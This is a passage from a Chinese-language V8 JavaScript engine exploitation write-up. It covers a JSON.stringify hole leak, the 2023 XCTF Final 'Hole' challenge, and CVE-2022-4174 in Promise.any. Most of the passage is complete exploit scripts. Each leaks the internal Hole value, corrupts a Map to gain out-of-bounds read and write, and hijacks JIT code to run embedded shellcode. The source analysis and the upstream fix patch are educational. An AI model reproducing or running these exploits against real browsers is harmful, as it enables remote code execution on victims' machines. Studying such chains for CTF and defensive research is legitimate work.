builder_.Append<SrcChar, DestChar>(c);
}
...
builder_.Append<uint8_t, DestChar>('"');
}
通过分析源码发现,整个序列化过程中一直利用 builder_
作为结果的存储容器,而这个容器最核心的功能就是 Append
。
在 Append
时如果长度达到 part_length_
则会调用 Extend
扩展容器长度。
template <typename SrcChar, typename DestChar>
void IncrementalStringBuilder::Append(SrcChar c) {
DCHECK_EQ(encoding_ == String::ONE_BYTE_ENCODING, sizeof(DestChar) == 1);
if (sizeof(DestChar) == 1) {
DCHECK_EQ(String::ONE_BYTE_ENCODING, encoding_);
SeqOneByteString::cast(*current_part_)
.SeqOneByteStringSet(current_index_++, c);
} else {
DCHECK_EQ(String::TWO_BYTE_ENCODING, encoding_);
SeqTwoByteString::cast(*current_part_)
.SeqTwoByteStringSet(current_index_++, c);
}
if (current_index_ == part_length_) Extend();
}
而在 Extend
中会调用 Accumulate
检查扩展后的长度是否超过 kMaxLength
即 0x1fffffe8 ,如果超过会设置 overflowed_
为 true 标记溢出。
void IncrementalStringBuilder::Accumulate(Handle<String> new_part) {
Handle<String> new_accumulator;
if (accumulator()->length() + new_part->length() > String::kMaxLength) {
// Set the flag and carry on. Delay throwing the exception till the end.
new_accumulator = factory()->empty_string();
overflowed_ = true;
} else {
new_accumulator =
factory()->NewConsString(accumulator(), new_part).ToHandleChecked();
}
set_accumulator(new_accumulator);
}
void IncrementalStringBuilder::Extend() {
DCHECK_EQ(current_index_, current_part()->length());
Accumulate(current_part());
...
}
而前面的 SerializeArrayLikeSlow
会根据 overflowed_
标记判断发生溢出并返回异常。
V8_INLINE bool HasOverflowed() const { return overflowed_; }
if (builder_.HasOverflowed()) return EXCEPTION;
然而根据前面的分析我们发现,只要结果不是 SUCCESS
基本都是直接返回的,没有设置 pending_exception
这一操作。
比如像 SerializeArrayLikeSlow
在出现异常时都会调用 ThrowInternal
设置 pending_exception
,如果没有设置 pending_exception
在用户的 JS 代码中会将 pending_exception
的默认值 Hole
catch 出来,这就是漏洞的成因。
Object Isolate::ThrowInternal(Object raw_exception, MessageLocation* location) {
...
// Set the exception being thrown.
set_pending_exception(*exception);
return ReadOnlyRoots(heap()).exception();
}
Object Throw(Object exception) { return ThrowInternal(exception, nullptr); }
JsonStringifier::Result JsonStringifier::SerializeArrayLikeSlow(
Handle<JSReceiver> object, uint32_t start, uint32_t length) {
// We need to write out at least two characters per array element.
static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
if (length > kMaxSerializableArrayLength) {
isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
return EXCEPTION;
}
...
}
具体利用手法在 Hole 已经介绍过了,exp 如下:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x15, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);
var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[14]);
console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn));
function offset_of(obj) {
oob_array[2] = u2d(object_array_map);
object_array[0] = obj;
oob_array[2] = u2d(double_array_map << 32n);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}
function read(offset) {
oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
rw_array[0] = u2d(value);
}
var code_offset = read(offset_of(shellcode) + 0x18n) & 0xFFFFFFFFn;
console.log("[*] code offset: " + hex(code_offset));
code_offset += 0x68n;
write(offset_of(shellcode) + 0x18n, code_offset);
shellcode();
例题:2023XCTF Final Hole
git reset --hard 247b33e9218a9345f0073f45b967530b38153272
gclient sync
git apply diff
tools/dev/gm.py x64.release
观察 patch
文件,首先发现对 JSMap
的 Hole
检查被 patch 掉了,因此可以考虑将 Hole
泄露出来然后借助 JSMap
进行 Hole
利用。
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index f6238e3072..17821d3124 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1765,7 +1765,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
"Map.prototype.delete");
// This check breaks a known exploitation technique. See crbug.com/1263462
- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ // CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
然后就是 original_map.UnusedPropertyFields()
的判断处加了一个 times
条件 。
diff --git a/src/compiler/js-native-context-specialization.cc b/src/compiler/js-native-context-specialization.cc
index 39302152ed..3193065d7d 100644
--- a/src/compiler/js-native-context-specialization.cc
+++ b/src/compiler/js-native-context-specialization.cc
@@ -29,13 +29,12 @@
#include "src/objects/feedback-vector.h"
#include "src/objects/heap-number.h"
#include "src/objects/string.h"
-
+int times=1;
namespace v8 {
namespace internal {
namespace compiler {
namespace {
-
bool HasNumberMaps(JSHeapBroker* broker, ZoneVector<MapRef> const& maps) {
for (MapRef map : maps) {
if (map.IsHeapNumberMap()) return true;
@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
// with this transitioning store.
MapRef transition_map_ref = transition_map.value();
MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
- if (original_map.UnusedPropertyFields() == 0) {
+ if (original_map.UnusedPropertyFields() == 0 && times--==0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
通过调试观察 JSObject
的 Map
发现 unused property fields
是用于记录存储 properties
的 PropertyArray
还有多少空闲位置。
结合对代码上下文的分析,发现这里的逻辑是在为 JSObject
添加新的属性时如果 unused property fields
为 0 则申请一个新的 PropertyArray
来存储 properties
。这里修改判断 unused property fields
为 0 的条件可能会造成 PropertyArray
越界。
要注意的是这个代码是在 JIT 的时候执行的。
// Check if we need to perform a transitioning store.
base::Optional<MapRef> transition_map = access_info.transition_map();
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
MapRef transition_map_ref = transition_map.value();
MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
if (original_map.UnusedPropertyFields() == 0 && times--==0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);
// Perform the actual store.
effect = graph()->NewNode(simplified()->StoreField(field_access),
storage, value, effect, control);
// Atomically switch to the new properties below.
field_access = AccessBuilder::ForJSObjectPropertiesOrHashKnownPointer();
value = storage;
storage = receiver;
}
effect = graph()->NewNode(
common()->BeginRegion(RegionObservability::kObservable), effect);
effect = graph()->NewNode(
simplified()->StoreField(AccessBuilder::ForMap()), receiver,
jsgraph()->Constant(transition_map_ref), effect, control);
effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
value, effect, control);
effect = graph()->NewNode(common()->FinishRegion(),
jsgraph()->UndefinedConstant(), effect);
}
因此有如下 POC :
function trigger(obj) {
obj.b1 = 1;
obj.b2 = 2;
obj.b3 = 3;
}
function get_hole() {
for (let i = 0; i < 0x20000; i++) {
var obj = { sky: 123 };
obj.a2 = 1;
obj.a3 = 2;
obj.a4 = 3;
trigger(obj);
hole_array = [, undefined];
}
// % DebugPrint(obj);
// % SystemBreak();
return obj.b3;
}
调试发现,由于 trigger
函数优化后在对 unused property fields
的检查上存在漏洞,导致 PropertyArray
越界可以越界读到 hole_array
上将 Hole
泄露出来。
这里要注意的是 hole_array
必须不声明直接赋值,否则不会和 PropertyArray
重叠。
Hole
泄露出来后的利用就很常规了。exp 如下:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function trigger(obj) {
obj.b1 = 1;
obj.b2 = 2;
obj.b3 = 3;
}
function get_hole() {
for (let i = 0; i < 0x20000; i++) {
var obj = { sky: 123 };
obj.a2 = 1;
obj.a3 = 2;
obj.a4 = 3;
trigger(obj);
hole_array = [, undefined];
}
// % DebugPrint(obj);
// % SystemBreak();
return obj.b3;
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
let hole = get_hole();
console.log(hole);
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x15, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);
var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[13]);
console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map >> 32n));
function offset_of(obj) {
oob_array[2] = u2d(object_array_map);
object_array[0] = obj;
oob_array[2] = u2d(double_array_map);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}
function read(offset) {
oob_array[21] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[21]) & 0xFFFFFFFFn));
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[21] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[21]) & 0xFFFFFFFFn));
rw_array[0] = u2d(value);
}
var shellcode_offset = offset_of(shellcode);
var leak_offset = (read(shellcode_offset + 0x18n) & 0xFFFFFFFFn) + 0x10n;
var leak_data = read(leak_offset);
var code = leak_data >> 32n;
var code_entry_point = leak_data & 0xFFFFFFFFn;
write(leak_offset, (code << 32n) | (code_entry_point + 0x68n));
print("[*] leak offset: " + hex(leak_offset));
shellcode();
CVE-2022-4174
附件下载链接
环境搭建如下:
git checkout 9.7.106.19
gclient sync
tools/dev/gm.py x64.release
数组 errors
长度总是设置比所需长度长,而多出来的那个部分的值设为 Hole
。这个数组泄露给用户也就把 Hole
泄露给用户。
// 9. Set errors[index] to x.
const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);
if (newCapacity > errors.length_intptr) deferred {
errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
*ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot) = errors;
}
errors.objects[index] = value;
因此有如下 poc:
function trigger() {
let v1;
function f0(v4) {
v4(() => { }, v5 => { v1 = v5.errors; });
}
f0.resolve = (v6) => { return v6; };
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
return v1[1];
}
该 POC 的过程为:
- 通过调用
Promise.any.call(f0, [v3])
,使用Promise.any
方法来执行异步操作。 - 执行函数
f0
,参数为v4
类型未知。 - 执行
f0.resolve
函数,参数v6
即v3
。 - 执行
then
函数,then
函数第一个参数为v4
第一个参数,第二个参数未知,但随即会调用v5
函数。 - 执行
v5
函数,取出v5
的errors
数组赋值给变量v1
。
exp 如下:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
function trigger() {
let v1;
function f0(v4) {
v4(() => { }, v5 => { v1 = v5.errors; });
}
f0.resolve = (v6) => { return v6; };
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
return v1[1];
}
let hole = trigger();
console.log(hole);
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x16, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);
var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[14]);
console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFn));
function offset_of(obj) {
oob_array[2] = u2d(object_array_map);
object_array[0] = obj;
oob_array[2] = u2d(double_array_map << 32n);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}
function read(offset) {
oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
rw_array[0] = u2d(value);
}
var code_offset = read(offset_of(shellcode) + 0x18n) & 0xFFFFFFFFn;
console.log("[*] code offset: " + hex(code_offset));
code_offset += 0x68n;
write(offset_of(shellcode) + 0x18n, code_offset);
shellcode();
该漏洞修复补丁如下:
diff --git a/src/builtins/promise-any.tq b/src/builtins/promise-any.tq
index ffb285a..7e707e6 100644
--- a/src/builtins/promise-any.tq
+++ b/src/builtins/promise-any.tq
@@ -119,7 +119,19 @@
kPromiseAnyRejectElementRemainingSlot);
// 9. Set errors[index] to x.
- const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);
+
+ // The max computation below is an optimization to avoid excessive allocations
+ // in the case of input promises being asynchronously rejected in ascending
+ // index order.
+ //
+ // Note that subtracting 1 from remainingElementsCount is intentional. The
+ // value of remainingElementsCount is 1 larger than the actual value during
+ // iteration. So in the case of synchronous rejection, newCapacity is the
+ // correct size by subtracting 1. In the case of asynchronous rejection this
+ // is 1 smaller than the correct size, but is not incorrect as it is maxed
+ // with index + 1.
+ const newCapacity =
+ IntPtrMax(SmiUntag(remainingElementsCount) - 1, index + 1);
if (newCapacity > errors.length_intptr) deferred {
errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
*ContextSlot(
@@ -306,6 +318,7 @@
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot);
+ check(errors.length == index - 1);
const error = ConstructAggregateError(errors);
// 3. Return ThrowCompletion(error).
goto Reject(error);